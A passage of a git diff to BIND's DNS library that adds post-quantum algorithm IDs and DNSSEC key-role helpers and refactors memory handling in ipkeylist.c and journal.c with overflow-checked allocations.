+	 * Do not add non HMAC between DST_ALG_HMACMD5 and DST_ALG_HMACSHA512.
+	 */
+	DST_ALG_HMACMD5 = 157,
+	DST_ALG_HMAC_FIRST = DST_ALG_HMACMD5,
+	DST_ALG_GSSAPI = 160,	  /* Internal use only. Exception. */
+	DST_ALG_HMACSHA1 = 161,	  /* XXXMPA */
+	DST_ALG_HMACSHA224 = 162, /* XXXMPA */
+	DST_ALG_HMACSHA256 = 163, /* XXXMPA */
+	DST_ALG_HMACSHA384 = 164, /* XXXMPA */
+	DST_ALG_HMACSHA512 = 165, /* XXXMPA */
+	DST_ALG_HMAC_LAST = DST_ALG_HMACSHA512,
+	DST_ALG_FALCON512 = 249,
+	DST_ALG_DILITHIUM2 = 250,
+	DST_ALG_SPHINCSSHA256128S = 251,
+
+	DST_ALG_INDIRECT = 252,
+	DST_ALG_PRIVATE = 254,
+	DST_MAX_ALGS = 256,
+} dst_algorithm_t;
 
 /*% A buffer of this size is large enough to hold any key */
 #define DST_KEY_MAXSIZE 5120 // OQS changed from 1280
@@ -117,10 +129,11 @@ typedef enum dst_key_state {
 #define DST_KEY_MAXTEXTSIZE 10240 // OQS changed from 2048
 
 /*% 'Type' for dst_read_key() */
-#define DST_TYPE_KEY	 0x1000000 /* KEY key */
-#define DST_TYPE_PRIVATE 0x2000000
-#define DST_TYPE_PUBLIC	 0x4000000
-#define DST_TYPE_STATE	 0x8000000
+#define DST_TYPE_KEY	  0x1000000 /* KEY key */
+#define DST_TYPE_PRIVATE  0x2000000
+#define DST_TYPE_PUBLIC	  0x4000000
+#define DST_TYPE_STATE	  0x8000000
+#define DST_TYPE_TEMPLATE 0x10000000
 
 /* Key timing metadata definitions */
 #define DST_TIME_CREATED     0
@@ -145,7 +158,9 @@ typedef enum dst_key_state {
 #define DST_NUM_MAXTTL	    2
 #define DST_NUM_ROLLPERIOD  3
 #define DST_NUM_LIFETIME    4
-#define DST_MAX_NUMERIC	    4
+#define DST_NUM_DSPUBCOUNT  5
+#define DST_NUM_DSDELCOUNT  6
+#define DST_MAX_NUMERIC	    6
 
 /* Boolean metadata definitions */
 #define DST_BOOL_KSK	0
@@ -627,10 +642,6 @@ dst_key_generate(const dns_name_t *name, unsigned int alg, unsigned int bits,
  * 	RSA:	exponent
  * 		0	use exponent 3
  * 		!0	use Fermat4 (2^16 + 1)
- * 	DH:	generator
- * 		0	default - use well known prime if bits == 768 or 1024,
- * 			otherwise use 2 as the generator.
- * 		!0	use this value as the generator.
  * 	DSA:	unused
  * 	HMACMD5: entropy
  *		0	default - require good entropy
@@ -766,17 +777,38 @@ dst_key_iszonekey(const dst_key_t *key);
 bool
 dst_key_isnullkey(const dst_key_t *key);
 
+bool
+dst_key_have_ksk_and_zsk(dst_key_t **keys, unsigned int nkeys, unsigned int i,
+			 bool check_offline, bool ksk, bool zsk, bool *have_ksk,
+			 bool *have_zsk);
+/*%<
+ *
+ * Check the list of 'keys' to see if both a KSK and ZSK are present, given key
+ * 'i'. The values stored in 'ksk' and 'zsk' tell whether key 'i' is a KSK, ZSK,
+ * or both (CSK). If 'check_offline' is true, don't consider KSKs that are
+ * currently offline (e.g. their private key file is not available).
+ *
+ * Requires:
+ *\li	"keys" is not NULL.
+ *
+ * Returns:
+ *\li	true if there is one or more keys such that both the KSK and ZSK roles
+ *are covered, false otherwise.
+ */
+
 isc_result_t
 dst_key_buildfilename(const dst_key_t *key, int type, const char *directory,
 		      isc_buffer_t *out);
 /*%<
  * Generates the filename used by dst to store the specified key.
  * If directory is NULL, the current directory is assumed.
+ * If tmp is not NULL, generates a template for mkstemp().
  *
  * Requires:
  *\li	"key" is a valid key
  *\li	"type" is either DST_TYPE_PUBLIC, DST_TYPE_PRIVATE, or 0 for no suffix.
  *\li	"out" is a valid buffer
+ *\li	"tmp" is a valid buffer or NULL
  *
  * Ensures:
  *\li	the file name will be written to "out", and the used pointer will
@@ -800,23 +832,6 @@ dst_key_sigsize(const dst_key_t *key, unsigned int *n);
  *\li	"n" stores the size of a generated signature
  */
 
-isc_result_t
-dst_key_secretsize(const dst_key_t *key, unsigned int *n);
-/*%<
- * Computes the size of a shared secret generated by the given key.
- *
- * Requires:
- *\li	"key" is a valid key.
- *\li	"n" is not NULL
- *
- * Returns:
- *\li	#ISC_R_SUCCESS
- *\li	DST_R_UNSUPPORTEDALG
- *
- * Ensures:
- *\li	"n" stores the size of a generated shared secret
- */
-
 uint16_t
 dst_region_computeid(const isc_region_t *source);
 uint16_t
@@ -1106,6 +1121,26 @@ dst_key_isexternal(dst_key_t *key);
  *	'key' to be valid.
  */
 
+void
+dst_key_setmodified(dst_key_t *key, bool value);
+/*%<
+ * If 'value' is true, this marks the key to indicate that key file metadata
+ * has been modified. If 'value' is false, this resets the value, for example
+ * after you have written the key to file.
+ *
+ * Requires:
+ *	'key' to be valid.
+ */
+
+bool
+dst_key_ismodified(const dst_key_t *key);
+/*%<
+ * Check if the key file has been modified.
+ *
+ * Requires:
+ *	'key' to be valid.
+ */
+
 bool
 dst_key_haskasp(dst_key_t *key);
 /*%<
@@ -1183,6 +1218,15 @@ dst_key_goal(dst_key_t *key);
  *	'key' to be valid.
  */
 
+isc_result_t
+dst_key_role(dst_key_t *key, bool *ksk, bool *zsk);
+/*%<
+ * Get the key role. A key can have the KSK or the ZSK role, or both.
+ *
+ * Requires:
+ *	'key' to be valid.
+ */
+
 void
 dst_key_copy_metadata(dst_key_t *to, dst_key_t *from);
 /*%<
@@ -1192,6 +1236,11 @@ dst_key_copy_metadata(dst_key_t *to, dst_key_t *from);
  *	'to' and 'from' to be valid.
  */
 
-ISC_LANG_ENDDECLS
+const char *
+dst_hmac_algorithm_totext(dst_algorithm_t alg);
+/*$<
+ * Return the name associtated with the HMAC algorithm 'alg'
+ * or return "unknown".
+ */
 
-#endif /* DST_DST_H */
+ISC_LANG_ENDDECLS
diff --git a/lib/dns/include/dst/gssapi.h b/lib/dns/include/dst/gssapi.h
index 8ae8168ee2..494b4b0762 100644
--- a/lib/dns/include/dst/gssapi.h
+++ b/lib/dns/include/dst/gssapi.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -18,7 +20,6 @@
 
 #include <isc/formatcheck.h>
 #include <isc/lang.h>
-#include <isc/platform.h>
 #include <isc/types.h>
 
 #include <dns/types.h>
diff --git a/lib/dns/include/dst/result.h b/lib/dns/include/dst/result.h
deleted file mode 100644
index 16e2c83870..0000000000
--- a/lib/dns/include/dst/result.h
+++ /dev/null
@@ -1,65 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, you can obtain one at https://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-#ifndef DST_RESULT_H
-#define DST_RESULT_H 1
-
-/*! \file dst/result.h */
-
-#include <isc/lang.h>
-#include <isc/resultclass.h>
-
-/*
- * Nothing in this file truly depends on <isc/result.h>, but the
- * DST result codes are considered to be publicly derived from
- * the ISC result codes, so including this file buys you the ISC_R_
- * namespace too.
- */
-#include <isc/result.h> /* Contractual promise. */
-
-#define DST_R_UNSUPPORTEDALG (ISC_RESULTCLASS_DST + 0)
-#define DST_R_CRYPTOFAILURE  (ISC_RESULTCLASS_DST + 1)
-/* compat */
-#define DST_R_OPENSSLFAILURE	DST_R_CRYPTOFAILURE
-#define DST_R_NOCRYPTO		(ISC_RESULTCLASS_DST + 2)
-#define DST_R_NULLKEY		(ISC_RESULTCLASS_DST + 3)
-#define DST_R_INVALIDPUBLICKEY	(ISC_RESULTCLASS_DST + 4)
-#define DST_R_INVALIDPRIVATEKEY (ISC_RESULTCLASS_DST + 5)
-/* 6 is unused */
-#define DST_R_WRITEERROR   (ISC_RESULTCLASS_DST + 7)
-#define DST_R_INVALIDPARAM (ISC_RESULTCLASS_DST + 8)
-/* 9 is unused */
-/* 10 is unused */
-#define DST_R_SIGNFAILURE (ISC_RESULTCLASS_DST + 11)
-/* 12 is unused */
-/* 13 is unused */
-#define DST_R_VERIFYFAILURE	     (ISC_RESULTCLASS_DST + 14)
-#define DST_R_NOTPUBLICKEY	     (ISC_RESULTCLASS_DST + 15)
-#define DST_R_NOTPRIVATEKEY	     (ISC_RESULTCLASS_DST + 16)
-#define DST_R_KEYCANNOTCOMPUTESECRET (ISC_RESULTCLASS_DST + 17)
-#define DST_R_COMPUTESECRETFAILURE   (ISC_RESULTCLASS_DST + 18)
-#define DST_R_NORANDOMNESS	     (ISC_RESULTCLASS_DST + 19)
-#define DST_R_BADKEYTYPE	     (ISC_RESULTCLASS_DST + 20)
-#define DST_R_NOENGINE		     (ISC_RESULTCLASS_DST + 21)
-#define DST_R_EXTERNALKEY	     (ISC_RESULTCLASS_DST + 22)
-
-#define DST_R_NRESULTS 23 /* Number of results */
-
-ISC_LANG_BEGINDECLS
-
-const char *dst_result_totext(isc_result_t);
-
-void
-dst_result_register(void);
-
-ISC_LANG_ENDDECLS
-
-#endif /* DST_RESULT_H */
diff --git a/lib/irs/include/irs/resconf.h b/lib/dns/include/irs/resconf.h
similarity index 87%
rename from lib/irs/include/irs/resconf.h
rename to lib/dns/include/irs/resconf.h
index d95c150a64..3af1723447 100644
--- a/lib/irs/include/irs/resconf.h
+++ b/lib/dns/include/irs/resconf.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -115,4 +117,24 @@ irs_resconf_getndots(irs_resconf_t *conf);
  *\li	'conf' is a valid resconf object.
  */
 
+unsigned int
+irs_resconf_getattempts(irs_resconf_t *conf);
+/*%<
+ * Return the 'attempts' value stored in 'conf'.
+ *
+ * Requires:
+ *
+ *\li	'conf' is a valid resconf object.
+ */
+
+unsigned int
+irs_resconf_gettimeout(irs_resconf_t *conf);
+/*%<
+ * Return the 'timeout' value stored in 'conf'.
+ *
+ * Requires:
+ *
+ *\li	'conf' is a valid resconf object.
+ */
+
 ISC_LANG_ENDDECLS
diff --git a/lib/dns/ipkeylist.c b/lib/dns/ipkeylist.c
index 76788d8831..d55b19ca09 100644
--- a/lib/dns/ipkeylist.c
+++ b/lib/dns/ipkeylist.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -24,7 +26,7 @@ dns_ipkeylist_init(dns_ipkeylist_t *ipkl) {
 	ipkl->count = 0;
 	ipkl->allocated = 0;
 	ipkl->addrs = NULL;
-	ipkl->dscps = NULL;
+	ipkl->sources = NULL;
 	ipkl->keys = NULL;
 	ipkl->tlss = NULL;
 	ipkl->labels = NULL;
@@ -32,8 +34,6 @@ dns_ipkeylist_init(dns_ipkeylist_t *ipkl) {
 
 void
 dns_ipkeylist_clear(isc_mem_t *mctx, dns_ipkeylist_t *ipkl) {
-	uint32_t i;
-
 	REQUIRE(ipkl != NULL);
 
 	if (ipkl->allocated == 0) {
@@ -41,55 +41,55 @@ dns_ipkeylist_clear(isc_mem_t *mctx, dns_ipkeylist_t *ipkl) {
 	}
 
 	if (ipkl->addrs != NULL) {
-		isc_mem_put(mctx, ipkl->addrs,
-			    ipkl->allocated * sizeof(isc_sockaddr_t));
+		isc_mem_cput(mctx, ipkl->addrs, ipkl->allocated,
+			     sizeof(ipkl->addrs[0]));
 	}
 
-	if (ipkl->dscps != NULL) {
-		isc_mem_put(mctx, ipkl->dscps,
-			    ipkl->allocated * sizeof(isc_dscp_t));
+	if (ipkl->sources != NULL) {
+		isc_mem_cput(mctx, ipkl->sources, ipkl->allocated,
+			     sizeof(ipkl->sources[0]));
 	}
 
 	if (ipkl->keys != NULL) {
-		for (i = 0; i < ipkl->allocated; i++) {
-			if (ipkl->keys[i] == NULL) {
-				continue;
+		for (size_t i = 0; i < ipkl->allocated; i++) {
+			if (ipkl->keys[i] != NULL) {
+				if (dns_name_dynamic(ipkl->keys[i])) {
+					dns_name_free(ipkl->keys[i], mctx);
+				}
+				isc_mem_put(mctx, ipkl->keys[i],
+					    sizeof(*ipkl->keys[i]));
 			}
-			if (dns_name_dynamic(ipkl->keys[i])) {
-				dns_name_free(ipkl->keys[i], mctx);
-			}
-			isc_mem_put(mctx, ipkl->keys[i], sizeof(dns_name_t));
 		}
-		isc_mem_put(mctx, ipkl->keys,
-			    ipkl->allocated * sizeof(dns_name_t *));
+		isc_mem_cput(mctx, ipkl->keys, ipkl->allocated,
+			     sizeof(ipkl->keys[0]));
 	}
 
 	if (ipkl->tlss != NULL) {
-		for (i = 0; i < ipkl->allocated; i++) {
-			if (ipkl->tlss[i] == NULL) {
-				continue;
-			}
-			if (dns_name_dynamic(ipkl->tlss[i])) {
-				dns_name_free(ipkl->tlss[i], mctx);
+		for (size_t i = 0; i < ipkl->allocated; i++) {
+			if (ipkl->tlss[i] != NULL) {
+				if (dns_name_dynamic(ipkl->tlss[i])) {
+					dns_name_free(ipkl->tlss[i], mctx);
+				}
+				isc_mem_put(mctx, ipkl->tlss[i],
+					    sizeof(*ipkl->tlss[i]));
 			}
-			isc_mem_put(mctx, ipkl->tlss[i], sizeof(dns_name_t));
 		}
-		isc_mem_put(mctx, ipkl->tlss,
-			    ipkl->allocated * sizeof(dns_name_t *));
+		isc_mem_cput(mctx, ipkl->tlss, ipkl->allocated,
+			     sizeof(ipkl->tlss[0]));
 	}
 
 	if (ipkl->labels != NULL) {
-		for (i = 0; i < ipkl->allocated; i++) {
-			if (ipkl->labels[i] == NULL) {
-				continue;
+		for (size_t i = 0; i < ipkl->allocated; i++) {
+			if (ipkl->labels[i] != NULL) {
+				if (dns_name_dynamic(ipkl->labels[i])) {
+					dns_name_free(ipkl->labels[i], mctx);
+				}
+				isc_mem_put(mctx, ipkl->labels[i],
+					    sizeof(*ipkl->labels[i]));
 			}
-			if (dns_name_dynamic(ipkl->labels[i])) {
-				dns_name_free(ipkl->labels[i], mctx);
-			}
-			isc_mem_put(mctx, ipkl->labels[i], sizeof(dns_name_t));
 		}
-		isc_mem_put(mctx, ipkl->labels,
-			    ipkl->allocated * sizeof(dns_name_t *));
+		isc_mem_cput(mctx, ipkl->labels, ipkl->allocated,
+			     sizeof(ipkl->labels[0]));
 	}
 
 	dns_ipkeylist_init(ipkl);
@@ -116,9 +116,9 @@ dns_ipkeylist_copy(isc_mem_t *mctx, const dns_ipkeylist_t *src,
 
 	memmove(dst->addrs, src->addrs, src->count * sizeof(isc_sockaddr_t));
 
-	if (src->dscps != NULL) {
-		memmove(dst->dscps, src->dscps,
-			src->count * sizeof(isc_dscp_t));
+	if (src->sources != NULL) {
+		memmove(dst->sources, src->sources,
+			src->count * sizeof(isc_sockaddr_t));
 	}
 
 	if (src->keys != NULL) {
@@ -166,12 +166,6 @@ dns_ipkeylist_copy(isc_mem_t *mctx, const dns_ipkeylist_t *src,
 
 isc_result_t
 dns_ipkeylist_resize(isc_mem_t *mctx, dns_ipkeylist_t *ipkl, unsigned int n) {
-	isc_sockaddr_t *addrs = NULL;
-	isc_dscp_t *dscps = NULL;
-	dns_name_t **keys = NULL;
-	dns_name_t **tlss = NULL;
-	dns_name_t **labels = NULL;
-
 	REQUIRE(ipkl != NULL);
 	REQUIRE(n > ipkl->count);
 
@@ -179,70 +173,17 @@ dns_ipkeylist_resize(isc_mem_t *mctx, dns_ipkeylist_t *ipkl, unsigned int n) {
 		return (ISC_R_SUCCESS);
 	}
 
-	addrs = isc_mem_get(mctx, n * sizeof(isc_sockaddr_t));
-	dscps = isc_mem_get(mctx, n * sizeof(isc_dscp_t));
-	keys = isc_mem_get(mctx, n * sizeof(dns_name_t *));
-	tlss = isc_mem_get(mctx, n * sizeof(dns_name_t *));
-	labels = isc_mem_get(mctx, n * sizeof(dns_name_t *));
-
-	if (ipkl->addrs != NULL) {
-		memmove(addrs, ipkl->addrs,
-			ipkl->allocated * sizeof(isc_sockaddr_t));
-		isc_mem_put(mctx, ipkl->addrs,
-			    ipkl->allocated * sizeof(isc_sockaddr_t));
-	}
-	ipkl->addrs = addrs;
-	memset(&ipkl->addrs[ipkl->allocated], 0,
-	       (n - ipkl->allocated) * sizeof(isc_sockaddr_t));
-
-	if (ipkl->dscps != NULL) {
-		memmove(dscps, ipkl->dscps,
-			ipkl->allocated * sizeof(isc_dscp_t));
-		isc_mem_put(mctx, ipkl->dscps,
-			    ipkl->allocated * sizeof(isc_dscp_t));
-	}
-	ipkl->dscps = dscps;
-	memset(&ipkl->dscps[ipkl->allocated], 0,
-	       (n - ipkl->allocated) * sizeof(isc_dscp_t));
-
-	if (ipkl->keys) {
-		memmove(keys, ipkl->keys,
-			ipkl->allocated * sizeof(dns_name_t *));
-		isc_mem_put(mctx, ipkl->keys,
-			    ipkl->allocated * sizeof(dns_name_t *));
-	}
-	ipkl->keys = keys;
-	memset(&ipkl->keys[ipkl->allocated], 0,
-	       (n - ipkl->allocated) * sizeof(dns_name_t *));
-
-	if (ipkl->tlss) {
-		memmove(tlss, ipkl->tlss,
-			ipkl->allocated * sizeof(dns_name_t *));
-		isc_mem_put(mctx, ipkl->tlss,
-			    ipkl->allocated * sizeof(dns_name_t *));
-	}
-	ipkl->tlss = tlss;
-	memset(&ipkl->tlss[ipkl->allocated], 0,
-	       (n - ipkl->allocated) * sizeof(dns_name_t *));
-
-	if (ipkl->labels != NULL) {
-		memmove(labels, ipkl->labels,
-			ipkl->allocated * sizeof(dns_name_t *));
-		isc_mem_put(mctx, ipkl->labels,
-			    ipkl->allocated * sizeof(dns_name_t *));
-	}
-	ipkl->labels = labels;
-	memset(&ipkl->labels[ipkl->allocated], 0,
-	       (n - ipkl->allocated) * sizeof(dns_name_t *));
+	ipkl->addrs = isc_mem_creget(mctx, ipkl->addrs, ipkl->allocated, n,
+				     sizeof(ipkl->addrs[0]));
+	ipkl->sources = isc_mem_creget(mctx, ipkl->sources, ipkl->allocated, n,
+				       sizeof(ipkl->sources[0]));
+	ipkl->keys = isc_mem_creget(mctx, ipkl->keys, ipkl->allocated, n,
+				    sizeof(ipkl->keys[0]));
+	ipkl->tlss = isc_mem_creget(mctx, ipkl->tlss, ipkl->allocated, n,
+				    sizeof(ipkl->tlss[0]));
+	ipkl->labels = isc_mem_creget(mctx, ipkl->labels, ipkl->allocated, n,
+				      sizeof(ipkl->labels[0]));
 
 	ipkl->allocated = n;
 	return (ISC_R_SUCCESS);
-
-	isc_mem_put(mctx, addrs, n * sizeof(isc_sockaddr_t));
-	isc_mem_put(mctx, dscps, n * sizeof(isc_dscp_t));
-	isc_mem_put(mctx, tlss, n * sizeof(dns_name_t *));
-	isc_mem_put(mctx, keys, n * sizeof(dns_name_t *));
-	isc_mem_put(mctx, labels, n * sizeof(dns_name_t *));
-
-	return (ISC_R_NOMEMORY);
 }
diff --git a/lib/dns/iptable.c b/lib/dns/iptable.c
index a054be049c..f479d71d84 100644
--- a/lib/dns/iptable.c
+++ b/lib/dns/iptable.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
diff --git a/lib/dns/journal.c b/lib/dns/journal.c
index 36ebbd1718..604766d56f 100644
--- a/lib/dns/journal.c
+++ b/lib/dns/journal.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -15,9 +17,11 @@
 #include <stdlib.h>
 #include <unistd.h>
 
+#include <isc/dir.h>
 #include <isc/file.h>
 #include <isc/mem.h>
-#include <isc/print.h>
+#include <isc/overflow.h>
+#include <isc/result.h>
 #include <isc/serial.h>
 #include <isc/stdio.h>
 #include <isc/string.h>
@@ -32,7 +36,6 @@
 #include <dns/log.h>
 #include <dns/rdataset.h>
 #include <dns/rdatasetiter.h>
-#include <dns/result.h>
 #include <dns/soa.h>
 
 /*! \file
@@ -107,12 +110,13 @@
 static isc_result_t
 index_to_disk(dns_journal_t *);
 
-static inline uint32_t
+static uint32_t
 decode_uint32(unsigned char *p) {
-	return ((p[0] << 24) + (p[1] << 16) + (p[2] << 8) + (p[3] << 0));
+	return (((uint32_t)p[0] << 24) + ((uint32_t)p[1] << 16) +
+		((uint32_t)p[2] << 8) + ((uint32_t)p[3] << 0));
 }
 
-static inline void
+static void
 encode_uint32(uint32_t val, unsigned char *p) {
 	p[0] = (uint8_t)(val >> 24);
 	p[1] = (uint8_t)(val >> 16);
@@ -164,7 +168,7 @@ dns_db_createsoatuple(dns_db_t *db, dns_dbversion_t *ver, isc_mem_t *mctx,
 freenode:
 	dns_db_detachnode(db, &node);
 nonode:
-	UNEXPECTED_ERROR(__FILE__, __LINE__, "missing SOA");
+	UNEXPECTED_ERROR("missing SOA");
 	return (result);
 }
 
@@ -180,7 +184,7 @@ typedef struct {
 	unsigned char serial[4]; /*%< SOA serial before update. */
 	/*
 	 * XXXRTH  Should offset be 8 bytes?
-	 * XXXDCL ... probably, since isc_offset_t is 8 bytes on many OSs.
+	 * XXXDCL ... probably, since off_t is 8 bytes on many OSs.
 	 * XXXAG  ... but we will not be able to seek >2G anyway on many
 	 *            platforms as long as we are using fseek() rather
 	 *            than lseek().
@@ -255,7 +259,7 @@ typedef struct {
  */
 typedef struct {
 	uint32_t serial;
-	isc_offset_t offset;
+	off_t offset;
 } journal_pos_t;
 
 #define POS_VALID(pos)	    ((pos).offset != 0)
@@ -326,7 +330,7 @@ struct dns_journal {
 				      *   while reading the journal */
 	char *filename;		     /*%< Journal file name */
 	FILE *fp;		     /*%< File handle */
-	isc_offset_t offset;	     /*%< Current file offset */
+	off_t offset;		     /*%< Current file offset */
 	journal_xhdr_t curxhdr;	     /*%< Current transaction header */
 	journal_header_t header;     /*%< In-core journal header */
 	unsigned char *rawindex;     /*%< In-core buffer for journal index
@@ -437,7 +441,7 @@ journal_read(dns_journal_t *j, void *mem, size_t nbytes) {
 			      isc_result_totext(result));
 		return (ISC_R_UNEXPECTED);
 	}
-	j->offset += (isc_offset_t)nbytes;
+	j->offset += (off_t)nbytes;
 	return (ISC_R_SUCCESS);
 }
 
@@ -452,7 +456,7 @@ journal_write(dns_journal_t *j, void *mem, size_t nbytes) {
 			      isc_result_totext(result));
 		return (ISC_R_UNEXPECTED);
 	}
-	j->offset += (isc_offset_t)nbytes;
+	j->offset += (off_t)nbytes;
 	return (ISC_R_SUCCESS);
 }
 
@@ -585,10 +589,9 @@ journal_file_create(isc_mem_t *mctx, bool downgrade, const char *filename) {
 	journal_header_encode(&header, &rawheader);
 
 	size = sizeof(journal_rawheader_t) +
-	       index_size * sizeof(journal_rawpos_t);
+	       ISC_CHECKED_MUL(index_size, sizeof(journal_rawpos_t));
 
-	mem = isc_mem_get(mctx, size);
-	memset(mem, 0, size);
+	mem = isc_mem_cget(mctx, 1, size);
 	memmove(mem, &rawheader, sizeof(rawheader));
 
 	result = isc_stdio_write(mem, 1, (size_t)size, fp, NULL);
@@ -702,13 +705,14 @@ journal_open(isc_mem_t *mctx, const char *filename, bool writable, bool create,
 		unsigned int rawbytes;
 		unsigned char *p;
 
-		rawbytes = j->header.index_size * sizeof(journal_rawpos_t);
+		rawbytes = ISC_CHECKED_MUL(j->header.index_size,
+					   sizeof(journal_rawpos_t));
 		j->rawindex = isc_mem_get(mctx, rawbytes);
 
 		CHECK(journal_read(j, j->rawindex, rawbytes));
 
-		j->index = isc_mem_get(mctx, j->header.index_size *
-						     sizeof(journal_pos_t));
+		j->index = isc_mem_cget(mctx, j->header.index_size,
+					sizeof(journal_pos_t));
 
 		p = j->rawindex;
 		for (i = 0; i < j->header.index_size; i++) {
@@ -734,7 +738,7 @@ journal_open(isc_mem_t *mctx, const char *filename, bool writable, bool create,
 	 */
 	isc_buffer_init(&j->it.source, NULL, 0);
 	isc_buffer_init(&j->it.target, NULL, 0);
-	dns_decompress_init(&j->it.dctx, -1, DNS_DECOMPRESS_NONE);
+	j->it.dctx = DNS_DECOMPRESS_NEVER;
 
 	j->state = writable ? JOURNAL_STATE_WRITE : JOURNAL_STATE_READ;
 
@@ -744,12 +748,12 @@ journal_open(isc_mem_t *mctx, const char *filename, bool writable, bool create,
 failure:
 	j->magic = 0;
 	if (j->rawindex != NULL) {
-		isc_mem_put(j->mctx, j->rawindex,
-			    j->header.index_size * sizeof(journal_rawpos_t));
+		isc_mem_cput(j->mctx, j->rawindex, j->header.index_size,
+			     sizeof(journal_rawpos_t));
 	}
 	if (j->index != NULL) {
-		isc_mem_put(j->mctx, j->index,
-			    j->header.index_size * sizeof(journal_pos_t));
+		isc_mem_cput(j->mctx, j->index, j->header.index_size,
+			     sizeof(journal_pos_t));
 	}
 	isc_mem_free(j->mctx, j->filename);
 	if (j->fp != NULL) {
@@ -821,8 +825,7 @@ ixfr_order(const void *av, const void *bv) {
 		aop = 0;
 		break;
 	default:
-		INSIST(0);
-		ISC_UNREACHABLE();
+		UNREACHABLE();
 	}
 
 	switch (b->op) {
@@ -835,8 +838,7 @@ ixfr_order(const void *av, const void *bv) {
 		bop = 0;
 		break;
 	default:
-		INSIST(0);
-		ISC_UNREACHABLE();
+		UNREACHABLE();
 	}
 
 	r = bop - aop;
@@ -856,7 +858,7 @@ ixfr_order(const void *av, const void *bv) {
 
 static isc_result_t
 maybe_fixup_xhdr(dns_journal_t *j, journal_xhdr_t *xhdr, uint32_t serial,
-		 isc_offset_t offset) {
+		 off_t offset) {
 	isc_result_t result = ISC_R_SUCCESS;
 
 	/*
@@ -864,7 +866,8 @@ maybe_fixup_xhdr(dns_journal_t *j, journal_xhdr_t *xhdr, uint32_t serial,
 	 * transaction headers in a version 1 journal.
 	 */
 	if ((xhdr->serial0 != serial ||
-	     isc_serial_le(xhdr->serial1, xhdr->serial0))) {
+	     isc_serial_le(xhdr->serial1, xhdr->serial0)))
+	{
 		if (j->xhdr_version == XHDR_VERSION1 && xhdr->serial1 == serial)
 		{
 			isc_log_write(
@@ -876,7 +879,8 @@ maybe_fixup_xhdr(dns_journal_t *j, journal_xhdr_t *xhdr, uint32_t serial,
 			CHECK(journal_read_xhdr(j, xhdr));
 			j->recovered = true;
 		} else if (j->xhdr_version == XHDR_VERSION2 &&
-			   xhdr->count == serial) {
+			   xhdr->count == serial)
+		{
 			isc_log_write(
 				JOURNAL_COMMON_LOGARGS, ISC_LOG_DEBUG(3),
 				"%s: XHDR_VERSION2 -> XHDR_VERSION1 at %u",
@@ -971,7 +975,8 @@ journal_next(dns_journal_t *j, journal_pos_t *pos) {
 	 * Check serial number consistency.
 	 */
 	if (xhdr.serial0 != pos->serial ||
-	    isc_serial_le(xhdr.serial1, xhdr.serial0)) {
+	    isc_serial_le(xhdr.serial1, xhdr.serial0))
+	{
 		isc_log_write(JOURNAL_COMMON_LOGARGS, ISC_LOG_ERROR,
 			      "%s: journal file corrupt: "
 			      "expected serial %u, got %u",
@@ -986,7 +991,7 @@ journal_next(dns_journal_t *j, journal_pos_t *pos) {
 			  ? sizeof(journal_rawxhdr_t)
 			  : sizeof(journal_rawxhdr_ver1_t);
 
-	if ((isc_offset_t)(pos->offset + hdrsize + xhdr.size) < pos->offset) {
+	if ((off_t)(pos->offset + hdrsize + xhdr.size) < pos->offset) {
 		isc_log_write(JOURNAL_COMMON_LOGARGS, ISC_LOG_ERROR,
 			      "%s: offset too large", j->filename);
 		return (ISC_R_UNEXPECTED);
@@ -1156,7 +1161,8 @@ dns_journal_begin_transaction(dns_journal_t *j) {
 	 */
 	if (JOURNAL_EMPTY(&j->header)) {
 		offset = sizeof(journal_rawheader_t) +
-			 j->header.index_size * sizeof(journal_rawpos_t);
+			 ISC_CHECKED_MUL(j->header.index_size,
+					 sizeof(journal_rawpos_t));
 	} else {
 		offset = j->header.end.offset;
 	}
@@ -1201,7 +1207,8 @@ dns_journal_writediff(dns_journal_t *j, dns_diff_t *diff) {
 	 * keep track of SOA serial numbers.
 	 */
 	for (t = ISC_LIST_HEAD(diff->tuples); t != NULL;
-	     t = ISC_LIST_NEXT(t, link)) {
+	     t = ISC_LIST_NEXT(t, link))
+	{
 		if (t->rdata.type == dns_rdatatype_soa) {
 			if (j->x.n_soa < 2) {
 				j->x.pos[j->x.n_soa].serial =
@@ -1231,7 +1238,8 @@ dns_journal_writediff(dns_journal_t *j, dns_diff_t *diff) {
 	 * Pass 2.  Write RRs to buffer.
 	 */
 	for (t = ISC_LIST_HEAD(diff->tuples); t != NULL;
-	     t = ISC_LIST_NEXT(t, link)) {
+	     t = ISC_LIST_NEXT(t, link))
+	{
 		/*
 		 * Write the RR header.
 		 */
@@ -1343,7 +1351,8 @@ dns_journal_commit(dns_journal_t *j) {
 	 */
